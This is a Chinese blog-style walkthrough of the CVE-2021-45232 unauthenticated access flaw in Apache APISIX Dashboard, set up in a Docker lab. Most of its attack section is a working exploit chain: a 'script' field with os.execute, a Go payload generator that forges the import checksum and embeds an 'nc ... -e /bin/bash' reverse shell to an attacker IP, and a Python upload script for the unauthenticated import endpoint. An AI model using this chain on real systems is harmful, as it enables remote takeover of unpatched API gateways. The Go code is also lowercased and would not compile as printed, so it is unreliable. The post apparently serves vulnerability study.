当前位置: 七九推 > IT编程>数据库>Mysql > Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

2023年03月17日 Mysql 我要评论
声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。漏洞描述apache apisix 是一个动态、实时、高性能的 a

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

apache apisix 是一个动态、实时、高性能的 api 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。apache apisix dashboard 使用户可通过前端界面操作 apache apisix。该漏洞的存在是由于 manager api 中的错误。manager api 在 gin 框架的基础上引入了 droplet 框架,所有的 api 和鉴权中间件都是基于 droplet 框架开发的。但是有些 api 直接使用了框架 gin 的接口,从而绕过身份验证。

影响范围

apache apisix dashboard < 2.10.1

环境部署

通过git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine


然后,docker-compose up -d 启动环境

环境起来后,浏览器通过默认端口9000访问apisix dashboard

后台rce

由于apisix dashboard 默认账号和密码是admin:admin,所以我们先登录到后台,来验证一把远程命令执行

首先创建一个上游服务,点击创建,名称随意命名,目标节点填写我们转发请求的服务,这里我们填写docker附带的grafana应用,端口号为3000,点击下一步,提交即可。

其次,创建一个路由,名称任意起,路径也是自定义,点击下一步,选择我们刚才创建的上游服务,最后,提交即可。

查看创建的路由

回到路由配置页面,点击配置,然后一直下一步,直到提交时,使用burpsuite抓包

然后在请求包的body中,添加一个script字段后,发送请求。

"script": "os.execute('touch /tmp/keepb1ue')"

再次查看,路由配置信息

接着,我们访问一下: http://192.168.10.171:9080/rce111

docker中看一下,是否创建了keepblue这个文件

未授权接口rce

如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行rce了

/apisix/admin/migrate/export
/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export导出配置文件

因为是未授权,所以在未登陆情况下,bp抓包后,请求接口改为/apisix/admin/migrate/export,点击send后,看到配置文件信息

在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值

源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的exportconfig函数将其计算源码单独抽取出来,并将需要导入的配置(data)进修替换和插入rce语句

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"counsumers":[],"routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["get","post","put","delete","patch","head","options","connect","trace"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"services":[],"ssls":[],"upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"globalplugins":[],"pluginconfigs":[]}`)
    checksumuint32 := crc32.checksumieee(data)
    checksumlength := 4
    checksum := make([]byte, checksumlength)
    binary.bigendian.putuint32(checksum, checksumuint32)
    filebytes := append(data, checksum...)

    content := filebytes
    fmt.println(content)

    importdata := content[:len(content)-4]
    checksum2 := binary.bigendian.uint32(content[len(content)-4:])
    if checksum2 != crc32.checksumieee(importdata) {
        fmt.println(checksum2)
        fmt.println(crc32.checksumieee(importdata))
        fmt.println("check sum check fail, maybe file broken")
        return
    }
    err := ioutil.writefile("apisixpayload", content, os.modeperm)
    if err != nil {
        fmt.println("error!!")
        return
    }
}

运行这段脚本,会生成apisixpayload这个文件

这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixpayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

在攻击机上,开启nc监听

接下来,访问路由地址(http://192.168.10.171:9080/rce111),触发远程命令执行

查看nc反弹shell

反弹成功,说明命令已经执行

到此这篇关于apache apisix dashboard 未授权访问漏洞(cve-2021-45232)的文章就介绍到这了,更多相关apache apisix dashboard 未授权访问漏洞内容请搜索七九推以前的文章或继续浏览下面的相关文章希望大家以后多多支持七九推!

(0)
打赏 微信扫一扫 微信扫一扫

相关文章:

  • Centos 7.9安装MySQL8.0.32的详细教程

    Centos 7.9安装MySQL8.0.32的详细教程

    第一步、下载压缩包下载社区版的 mysql,根据需求下载对应版本,其中有最小安装版本。具体各个版本的区别,可以上网查询,链接mysql :: download ... [阅读全文]
  • Mysql中二进制日志操作方法说明

    Mysql中二进制日志操作方法说明

    二进制日志二进制日志中以“事件”的形式记录了数据库中数据的变化情况,对于mysql数据库的灾难恢复起着重要的作用。开启二进制日志可以在 ... [阅读全文]
  • 深入了解MySQL中的慢查询日志

    深入了解MySQL中的慢查询日志

    慢查询日志慢查询日志主要用来记录执行时间超过设置的某个时长的sql语句,能够帮助数据库维护人员找出执行时间比较长、执行效率比较低的sql语句,并对这些sql语句... [阅读全文]
  • MySQL数据库改名的详细方法教程

    MySQL数据库改名的详细方法教程

    前戏有时候生产环境是以项目来命名,有时候会出现更名情况,其实如何安全的更改数据库名,是个非常棘手的问题,特别是针对 mysql 来数据库来说被取消的命令mysq... [阅读全文]
  • Mysql中使用时间查询的详细图文教程

    一、使用等号查询可以像普通查询使用等号进行查询,但必须查询时间必须和字段对应时间完全相等,比如我要查下面这个值sql如下:select id, start_time, end_ti…

    2023年03月15日 数据库
  • 一步步教你MySQL密码忘记了该如何操作

    连接mysql时出现:error 1045 (28000): access denied for user ‘root’@‘localhost&…

    2023年03月15日 数据库

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2023  七九推 保留所有权利. 粤ICP备17035492号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com